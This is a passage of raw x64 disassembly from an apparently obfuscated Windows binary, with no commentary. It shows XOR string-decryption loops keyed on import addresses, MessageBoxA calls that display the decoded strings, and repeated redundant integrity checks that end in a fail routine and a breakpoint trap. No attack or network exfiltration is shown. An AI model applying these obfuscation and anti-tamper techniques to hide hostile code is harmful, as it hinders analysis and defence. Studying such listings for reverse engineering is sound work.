xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14004b5c6
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14004b5c6
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14004bbc6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
movdqa xmm0, xmmword [0x1400f5fc0]
movdqu xmmword [rbp + 0x368], xmm0
mov word [rbp + 0x378], 0x85
mov r10, r15
movabs rbx, 0x8080808080808081
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0x13d41a6873
movabs r9, 0x27a834d0e6
movabs r14, 0x12a982442
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x368], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x14004b630
mov byte [rbp + 0x379], r15b
movdqa xmm0, xmmword [0x1400f5fe0]
movdqu xmmword [rbp + 0x758], xmm0
mov dword [rbp + 0x768], 0x4cec4f65
mov word [rbp + 0x76c], reloc.WLDAP32.dll_Ordinal_50
mov r9, r15
mov r11d, reloc.WS2_32.dll_setsockopt
movabs r8, 0x187e7af97f
movabs r10, 0x30fcf5f2fe
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0x758], dil
inc r9
add r8, r12
add r11, 0x15
cmp r8, r10
jb 0x14004b6d4
mov byte [rbp + 0x76d], r15b
xor r9d, r9d
lea r8, [rbp + 0x368]
lea rdx, [rbp + 0x758]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x43]
mov r15d, 0xfbab80df
cmp rax, r15
jne 0x14004b801
mov rax, qword gs:[0x5f]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14004b7e1
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14004b7e1
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14004b801
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rax, qword gs:[0x43]
cmp rax, r15
jne 0x14004bbc6
mov rax, qword gs:[0x5f]
movabs rcx, 0xe4d4ec93abfbca11
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14004b899
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14004b899
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14004bbc6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rax, qword gs:[0x43]
cmp rax, rbx
jne 0x14004b963
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14004b943
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14004b943
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14004b963
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
movdqa xmm0, xmmword [0x1400f5fc0]
movdqu xmmword [rbp + 0x380], xmm0
mov word [rbp + 0x390], 0x85
mov rdi, r15
movabs rsi, 0x12a982442
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WS2_32.dll_recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x380]
lea rcx, [rbp + 0x380]
call fcn.14004bcf8
xor al, dil
mov byte [rbp + rdi + 0x380], al
inc rdi
cmp rdi, 0x11
jb 0x14004b989
mov byte [rbp + 0x391], r15b
movdqa xmm0, xmmword [0x1400f6150]
movdqu xmmword [rbp + 0xcd8], xmm0
movdqa xmm1, xmmword [0x1400f6120]
movdqu xmmword [rbp + 0xce8], xmm1
movdqa xmm0, xmmword [0x1400f5fa0]
movdqu xmmword [rbp + 0xcf8], xmm0
mov dword [rbp + 0xd08], 0xe2594cdf
mov dword [rbp + 0xd0c], 0xbc5a8ee2
mov dword [rbp + 0xd10], 0x39fe7142
mov word [rbp + 0xd14], 0xe4
mov rdi, r15
mov qword [rsp + 0x20], rsi
mov r9d, 0x3d
mov r8, rdi
mov dl, byte [rbp + rdi + 0xcd8]
lea rcx, [rbp + 0xcd8]
call fcn.14004bd6c
xor al, dil
mov byte [rbp + rdi + 0xcd8], al
inc rdi
cmp rdi, 0x3d
jb 0x14004ba1e
mov byte [rbp + 0xd15], r15b
xor r9d, r9d
lea r8, [rbp + 0x380]
lea rdx, [rbp + 0xcd8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x43]
cmp rax, rbx
jne 0x14004bb1c
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14004bafc
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14004bafc
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14004bb1c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rax, qword gs:[0x43]
cmp rax, rbx
jne 0x14004bbc6
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14004bba6
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14004bba6
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14004bbc6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov ecx, 1
call fcn.1400b1ef8
int3